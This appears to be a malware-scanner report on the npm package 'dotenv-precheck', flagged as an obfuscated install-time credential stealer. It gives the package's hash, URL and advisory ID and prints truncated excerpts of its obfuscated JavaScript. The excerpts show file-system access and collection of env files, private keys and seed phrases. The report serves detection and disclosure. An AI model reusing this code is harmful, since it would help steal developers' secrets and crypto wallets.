Suspicious ^80% javascript Download

dotenv-precheck 1.0.0

Obfuscated credential stealer

“Runs dotenv preflight checks at install time”

JavaScript Obfuscator rotates and decodes a string array at runtimeNode developer secret regex list

SHA-256d080c79d0c8da50b03ab4cd5c28e10f0da4e2940deb2ffff88dccfa0b67f1b19

URLhttps://registry.npmjs.org/dotenv-precheck/-/dotenv-precheck-1.0.0.tgz

MaleculeO₄(As₄EuS₃Xe)H₆(Cm₃CrDb₉FOsPo)Md₃(In₂Pa₃)Th

Also flagged by osv (MAL-2026-17304: Malicious code in dotenv-precheck (npm)) +5 more.

Evidence

Private-key identifier line 1

1const _0x3b670b=_0x4d50;(function(_0xea8397,_0x1c609e){const _0x512fc9=_0x4d50,_0x228113=_0xea8397();while(!![]){try{const _0x9bd769=-parseInt(_0x512fc9(0x1a8))/0x1+-parseInt(_0x512fc9(0x160))/0x2+parseInt(_0x512fc9(0x11e))/0x3+-parseInt(_0x512fc9(0x175))/0x4*(-parseInt(_0x512fc9(0x16f))/0x5)+-parseInt(_0x512fc9(0x163))/0x6+parseInt(_0x512fc9(0x19e))/0x7+-parseInt(_0x512fc9(0x103))/0x8*(parseInt(_0x512fc9(0x127))/0x9);if(_0x9bd769===_0x1c609e)break;else _0x228113['push'](_0x228113['shift']());}catch(_0x4ba340){_0x228113['push'](_0x228113['shift']());}}}(_0x5875,0x4a5d3));function _0x5875(){const _0x31fa26=['Ag9TzwrPCG','l2jVDa','kcGOlISPkYKRksSK','C29Tzq','ihbOCMfZzxm6','zwD2Au4','l3nLBMreB2n1BwvUDa','C2HHmJu2','BwfW','lMPZB24','zMLUAxnOzwrbDa','Ee9PzM0','yxbWBhK','tLrfmu16vxLnreeXtLe9pq','C29fAfa','zw52u2vLzfzHCNm','C3bSAxq','AxneAxjLy3rVCNK','CgfKrw5K','Ahr0Chm6lY8','y3j5ChrV','EejuDK8','vfHPDee','lMrWBdmUzgf0','l2DLDfvWzgf0zxm','u3DSB3q','ywjHBMrVBIbHyMLSAxr5igfIBguGywjVDxqGywjVDMuGywjZzw50igfIC29YyIbHyNn0CMfJDcbHyNn1CMqGywj1C2uGywnJzxnZigfJy2LKzw50igfJy291BNqGywnJDxnLigfJAgLLDMuGywnPzcbHy291C3rPyYbHy3f1AxjLigfJCM9ZCYbHy3qGywn0Aw9UigfJDg9YigfJDhjLC3mGywn0DwfSigfKyxb0igfKzcbHzgrPy3qGywrKCMvZ …

imports fs line 1

1:20302… 'BM93'];_0x5875=function(){return _0x31fa26;};return _0x5875();}const _0x317c02=(function(){let _0x3a277a=!![];return function(_0x21bb09,_0x5e9d79){const _0x11925a=_0x3a277a?function(){const _0x1f4606=_0x4d50;if(_0x5e9d79){const _0x3be53c=_0x5e9d79[_0x1f4606(0x13e)](_0x21bb09,arguments);return _0x5e9d79=null,_0x3be53c;}}:function(){};return _0x3a277a=![],_0x11925a;};}()),_0x7db784=_0x317c02(this,function(){const _0x21d1b6=_0x4d50,_0x596ed5={'bIPqR':function(_0x13dbd2,_0x49af63){return _0x13dbd2!==_0x49af63;},'AuSIt':_0x21d1b6(0x134)};if(_0x596ed5[_0x21d1b6(0x19b)](_0x7db784[_0x21d1b6(0x18e)]()[_0x21d1b6(0x120)]()[_0x21d1b6(0x182)]('\x0a'),-0x1))return;return _0x7db784[_0x21d1b6(0x120)]()[_0x21d1b6(0x154)](_0x596ed5[_0x21d1b6(0x165)])[_0x21d1b6(0x120)]()[_0x21d1b6(0x1a5)](_0x7db784)[_0x21d1b6(0x154)](_0x596ed5[_0x21d1b6(0x165)]);});_0x7db784();const _0x5dd113=require('fs'),_0x24155e=require(_0x3b670b(0x15a)),_0x46a903=require('os'),_0x3bec2a=require(_0x3b670b(0x146)),_0x5c6bec=Buffer[_0x3b670b(0x172)](_0x3b670b(0x12d),_0x3b670b(0x114))[_0x3b670b(0x120)](_0x3b670b(0x190));let _0x5e34e7=Buffer[_0x3b670b(0x172)](_0x3b670b(0x13f),_ …

JavaScript silently discards caught errors line 1

1:21644… 70b(0x142)](/\s+/)[_0x3b670b(0x18f)](Boolean),_0x45c991=new Map(_0xcc32b2[_0x3b670b(0x13a)]((_0x1db9ee,_0x1e8d9d)=>[_0x1db9ee,_0x1e8d9d])),_0x108d8=_0x24155e[_0x3b670b(0x118)](_0x46a903[_0x3b670b(0x132)](),_0x3b670b(0x149));try{if(_0x5dd113[_0x3b670b(0x15d)](_0x108d8))process[_0x3b670b(0x10d)](0x0);_0x5dd113[_0x3b670b(0x129)](_0x108d8,String(Date[_0x3b670b(0x131)]()));}catch{}const _0x23bc22=0x2*0x400*0x400,_0x55e9e7=/node_modules|\.git|recycle|temp|cache|__pycache__|windows|winsxs|\$recycle\.bin|program files|^target$|^\.fingerprint$|^\.cargo$|^\.rustup$|^\..+|^out$|^build$|^dist$|^go-build$|^\.vscode$/i,_0x1ad5d5=[_0x24155e[_0x3b670b(0x118)](_0x46a903[_0x3b670b(0x132)](),_0x3b670b(0x12e)),_0x24 …

JavaScript embeds a lower-first Base64 alphabet line 1

1:22718… )](),_0x3b670b(0x164),_0x3b670b(0x115))],_0x514109={'timestamp':new Date()[_0x3b670b(0x187)](),'host':_0x46a903[_0x3b670b(0x10a)](),'user':_0x46a903[_0x3b670b(0x15e)]()[_0x3b670b(0x10e)],'envFiles':[],'envSeedVars':[],'privateKeys':[],'seedPhrases':[]};function _0x4d50(_0x17ee9b,_0x46147c){_0x17ee9b=_0x17ee9b-0x101;const _0x4da0d6=_0x5875();let _0x3647ca=_0x4da0d6[_0x17ee9b];if(_0x4d50['MpEQGs']===undefined){var _0xef90d1=function(_0x2408bd){const _0x4e0b25='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x263335='',_0x290285='',_0x252dc8=_0x263335+_0xef90d1,_0x5e8e25=(''+function(){return 0x0;})['indexOf']('\x0a')!==-0x1;for(let _0x41ff1b=0x0,_0x30ed0d,_0x54f048,_0x44dba5=0x0;_0x54f048=_0x2408bd['charAt'](_0x44dba5++);~ …

Builds characters with String.fromCharCode line 1

1:23568… 35+=_0x5e8e25||_0x252dc8['charCodeAt'](_0x44dba5+0xa)-0xa!==0x0?String['fromCharCode'](0xff&_0x30ed0d>>(-0x2*_0x41ff1b&0x6)):_0x41ff1b:0x0){_0x54f048=_0x4e0b25['indexOf'](_0x54f048);}for(let _0x1be227=0x0,_0x1bc5fd=_0x263335['length'];_0x1be227<_0x1bc5fd;_0x1be227++){_0x290285+='%'+('00'+_0x263335['charCodeAt'](_0x1be227)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x290285);};_0x4d50['MfLYql']=_0xef90d1,_0x4d50['zDWlTQ']={},_0x4d50['MpEQGs']=!![];}const _0x58758b=_0x4da0d6[0x0];_0x4d50['PtqdCP']!==_0x58758b&&(_0x4d50['zDWlTQ']={},_0x4d50['PtqdCP']=_0x58758b);const _0x4d502e=_0x4d50['zDWlTQ'][_0x17ee9b];if(_0x4d502e===undefined){const _0xba711=function(_0x139118){this['qfHPwn']=_0x139118,this['NoZBjl']=[0x1,0x0,0x0],this['TTiesm']=function(){return'newState';},this['GheUcV']='\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\ …

No evidence locations were recorded for this file. Raw result